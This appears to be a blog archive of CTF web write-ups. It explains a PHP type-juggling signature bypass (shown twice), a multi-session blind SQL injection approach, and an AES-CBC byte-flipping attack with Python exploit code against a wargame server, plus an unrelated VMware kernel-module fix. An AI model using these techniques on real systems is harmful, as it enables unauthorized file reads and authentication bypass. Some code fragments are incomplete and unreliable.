Sunday, November 6, 2016

svattt 2016 web 100 ctf

source code:
    function checksig($filename, $timestamp, $sig, $secretkey)
    {
        $realsig = substr(md5($filename.$timestamp.$secretkey),0,16);
        if ($sig == $realsig)
        {
            $filename = './'.str_replace('/','',$filename);
            readfile($filename);
            die(0);
        }
        echo "Invalid Signature!";
    }

$secretkey = "XXXXXXXXXXXXXXXXXXXXXXXXX";//This is not real $secretkey, ignore it !!!
echo "
    Web100
   
   
Dare to read flag.php???

    Click me

    ";
if (isset($_GET['filename'])&&isset($_GET['sig'])&&isset($_GET['timestamp']))
    {
        checksig($_GET['filename'],$_GET['timestamp'],$_GET['sig'], $secretkey);
        die(0);
    }
echo "Something's missing!!";
echo "";
?>
This task is exploited based on the PHP operator and expected Behavior of PHP equal to operator.
take a look at function checksig. In this function, there is a comparison
 if ($sig == $realsig)

$sig is a signature that we send to server and $realsig is the calculated signature. Server will compare 2 values to decide whether or not the signature is correct. 

Since the coder use the operator == to compare 2 strings, we can exploit it via the way php performs the type juggling. When using this operator (==), the comparison will be performed based on the active types of the operands. If the operands are strings or nulls, they are compared as strings, if either is a Boolean, they are converted to Boolean values and compared, and otherwise they are converted to numbers and compared. [Advanced PHP programming - George Schlossnagle]

In other words, this loose comparison will use context to understand what type the data is (type juggling) before doing comparison. > "If you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically. These rules also apply to the switch statement. The type conversion does not take place when the comparison is === or !== as this involves comparing the type as well as the value." > [http://php.net/manual/en/language.operators.comparison.php]

let's take an example "0e1" ==  "0". This operand will return True even the two strings are different.
in this case, php will guess them as the numbers not the string (type juggling), the left side, "0e1", php considers it as a scientific notation, and treats it as 0*10^1 = 0, then the right side also will be treated as 0 (number). from now, php will compare these 2 numbers and return the true result.
Of course, if we reverse the order of the above operand as "0" =="0e1", the result is still the same.

Then, we just pass the filename argument as "flag.php", sig=0 and the value of timestamp will be varied until we get the flag (when the real calculated signature contains "0exxxxxxxxxxxxxx" (14 of x(s) must be the number) at the beginning.

svattt 2016 web 100 ctf

source code:
    function checksig($filename, $timestamp, $sig, $secretkey)
    {
        $realsig = substr(md5($filename.$timestamp.$secretkey),0,16);
        if ($sig == $realsig)
        {
            $filename = './'.str_replace('/','',$filename);
            readfile($filename);
            die(0);
        }
        echo "Invalid Signature!";
    }

$secretkey = "XXXXXXXXXXXXXXXXXXXXXXXXX";//This is not real $secretkey, ignore it !!!
echo "
    Web100
   
   
Dare to read flag.php???

    Click me

    ";
if (isset($_GET['filename'])&&isset($_GET['sig'])&&isset($_GET['timestamp']))
    {
        checksig($_GET['filename'],$_GET['timestamp'],$_GET['sig'], $secretkey);
        die(0);
    }
echo "Something's missing!!";
echo "";
?>
This task is exploited based on the PHP operator and expected Behavior of PHP equal to operator.
take a look at function checksig. In this function, there is a comparison
 if ($sig == $realsig)

$sig is a signature that we send to server and $realsig is the calculated signature. Server will compare 2 values to decide whether or not the signature is correct. 
Since the coder use the operator == to compare 2 strings, we can exploit it via the way php performs the comparison operand. When using this operator (==), the comparison will be performed based on the active types of the operands. If the operands are strings or nulls, they are compared as strings, if eithers is a Boolean, they are converted to Boolean values and compared, and otherwise they are converted to numbers and compared. [Advanced PHP programming - George Schlossnagle]

let's take an example "0e1" ==  "0". This operand will return True even the two strings are different.
in this case, with the left side, "0e1", php considers it as a scientific notation, and treats it as 0*10^1 = 0 first, then the right side also will be converted form "0"(string) to 0 (number) (since the left side is considered as a number). from now, php will compare these 2 numbers and return the true result.

Then, we just pass the filename argument as "flag.php", sig=0 and the value of timestamp will be varied until we get the flag (when the real calculated signature contains "0exx" (xx must be the number) at the beginning.

Friday, September 9, 2016

Fedora 24, kernel 4.7 and VMWare Workstation 12.1.


As usual, when Fedora upgrades kernel to a new major version VMWare stops working. In this particular case my Fedora was upgraded to Linux kernel version 4.7.2. The fix I found is the following one:
# cd /usr/lib/vmware/modules/source
# tar xf vmnet.tar
# mv vmnet.tar vmnet.old.tar
# sed -i -e 's/dev->trans_start = jiffies/netif_trans_update\(dev\)/g' vmnet-only/netif.c
# tar cf vmnet.tar vmnet-only
# vmware-modconfig --console --install-all
And that was it!

Note that this works if you upgraded from linux kernel version 4.6. In case you've upgraded from some earlier version, you'll have to patch it first for those version. Here is how to patch VMWare Workstation to work with Linux kernel version 4.6.
 
copy&paste from: http://sgros.blogspot.jp/2016/09/fedora-24-kernel-47-and-vmware.html

Tuesday, February 25, 2014

Another way to solve Codegate 2014 web500

After reviewing again the provided source code and also other write up, I have concluded some interesting point:
  • Password is reset only when session count (cnt) reaches 120.
  • Only one password is saved to DB with unique IP rather than with specific session ID.
By knowing that,let's ask yourself what happen if we have multiple session with single IP?There is still only 1 password stored in the database with that IP. Hence, this gives us another way to defeat this challenge.
def GetCookie():
    # cookie
    cj = CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    response = opener.open(url)
    content = response.read()
     #get cookie
    cookie_string=""
    for cookie in cj:
        cookie_string +=('%s=%s;'%(cookie.name,cookie.value))
    print "cookie: " + cookie_string
    return cookie_string

 If we have only 4 parallel sessions, we will have 4*120 times = 480 number of available requests to the server. it is enough for crafting correct 30 char password with blind sqli.

for i in range(0,4):
       session.append(GetCookie)

Codegate 2014 Web 500 Writeup

□ description
==========================================
http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/


http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.phps

==========================================

Monday, September 9, 2013

ctf.wargame.vn web300

After reading a good article cbc-byte-flipping-attack-101-approach, I remember the last ctf called web300 hosting at wargame.vn also used this technique to get a fla.
http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9

After write something to server we get some useful things:
link:
/?file=362e10cd887022a369c60c3961edf89eaeadfde998a4c6d9794c9e99316c44a39b73b02e3fa2e75820706609e2549ad9bf6a32ce42737fe212e6fa6a91f6fd21&sign=56eb7a1a95ef06c35c6a942e7da55462
filename: 5ac30b7bd737fc5c04d739a61d9f47f0

with the hint, we get the source code. below are some important functions
            function strToHex($string)
            {
                $hex='';
                for ($i=0; $i < strlen($string); $i++){
                    $tmp = dechex(ord($string[$i]));
                    $hex .= (strlen($tmp)==1)?"0".$tmp:$tmp;
                }
                return $hex;
            }
            function hexToStr($hex)
            {
                $string='';
                for ($i=0; $i < strlen($hex)-1; $i+=2)
                    $string .= chr(hexdec($hex[$i].$hex[$i+1]));
                return $string;
            }
            //
            // encrypt + decrypt AES
            //
            include("init.php"); // define _KEY,_IV,_SECRET
            // flag in ./secret/flag.php

            function encrypt_($str){
                return strToHex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, _KEY, $str, MCRYPT_MODE_CBC,_IV));
            }
            function decrypt_($str){
                return rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, _KEY, hexToStr($str), MCRYPT_MODE_CBC,_IV),"\0");
            }
            function hmac_($msg,$secret){
                return hash_hmac('md5',$msg,$secret);
            }

            if(!empty($_POST['secret']) && is_string($_POST['secret']) && strlen($_POST['secret']) < 1337){
                 $secret_hmac = md5(_SECRET.rand(0,1337),true);
                 $secret_filename = md5(session_id.$secret_hmac);
                 file_put_contents("./secret/".$secret_filename,$_POST['secret']);
                 $secret_link = encrypt_($secret_filename."|".$secret_hmac);
                 echo "<br /><a class='button button-blue' href='?file={$secret_link}&sign=".hmac_($secret_filename,$secret_hmac)."'>Your secret</a>"; }elseif(!empty($_GET['file'])){
                $decrypt = explode("|",decrypt_($_GET['file']));
                $secret_filename = $decrypt[0];
                $secret_hmac = $decrypt[1];
                $hmac_ = $_GET['sign'];
                $error = false;
                if(strlen($secret_hmac) != 16){
                    echo "HMAC: Bad length! (".strlen($secret_hmac).")
";
                    $error = true;
                }      
                if(hmac_($secret_filename,$secret_hmac)!==$hmac_){
                    echo "HMAC: Not match!
";
                    $error = true;
                }

               
        ?>
                                     <blockquote class="curly-quotes" cite="./secret/<?=$secret_filename?>">
                            <?php
                                if(!$error)
                                    echo file_get_contents("./secret/".basename($secret_filename)); // anti directory traversal
                                else
                                    echo "ERROR!";
                            ?>

                       </blockquote>
             
        <?php
            }else{
        ?>

By observing that code, we see that:
- flag in ./secret/flag.php
- filename is generated randomly and displayed in  <blockquote class="curly-quotes" cite="./secret/<?=$secret_filename?>
- this uses aes 128 cbc mode which can be exploited by byte flipping technique
 - filename and hmc is seperated by "|" character

Firstly, we need to fake a system open flag so the output filename should be /flag.php. Luckily, because function "basename" is used, filename can be whatever ending with /flag.php (so the result is always /flag.php). We know that generated filename is 32 byte long, and AES 128 use block 16 bit, hence, we can change last 9 byte of that filename (len(/flag.php)=9)

fake_filename = "/flag.php"
true_filename = '5ac30b7bd737fc5c04d739a61d9f47f0'

file='362e10cd887022a369c60c3961edf89eaeadfde998a4c6d9794c9e99316c44a39b73b02e3fa2e75820706609e2549ad9bf6a32ce42737fe212e6fa6a91f6fd21'
file = file.decode('hex')

sign="56eb7a1a95ef06c35c6a942e7da55462"
#because we need to change only last 9 byte of second 16-byte block 
fakefile = file[:7]
for i in range(7,16):
    fakefile += chr    (ord(file[i]) ^ ord(fake_filename[i-7]) ^ ord(true_filename[16+i]))

fakefile+= file[16:]

#now we have fake filename, try to request to server to see that filename is correct
url = "http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=" + fakefile.encode('hex') + "&sign=" + sign

from now on, we have fake filename but we still can not get the flag because of   if(hmac_($secret_filename,$secret_hmac)!==$hmac_)

Next, we know character "|"  is used to seperate username and hmac. By Using same technique, change the character number 33 in plain to another character rather than "|", let's say "&"
 ( username + "|" + hmac, and len(username)=32)

fakehmac = file[:16]
fakehmac+= chr(ord(file[16]) ^ ord('|') ^ ord('&'))
fakehmac+= file[17:]


url = "http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=" + fakehmac.encode('hex') + "&sign=" + sign

since then, we have hmac right at position 33

sec_hmac =  request(url)[33:]


#now we already have sec_hmac =>md5 with msg and secret  to generate sign

sign = hmac.new(sec_hmac, dec_fake_filename).hexdigest()

url = "http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=" + fakefile.encode('hex') + "&sign=" + sign

print getflag(url)

shl

to perform shl eax,cl in python

if cl>32: cl = cl %32
return eax << cl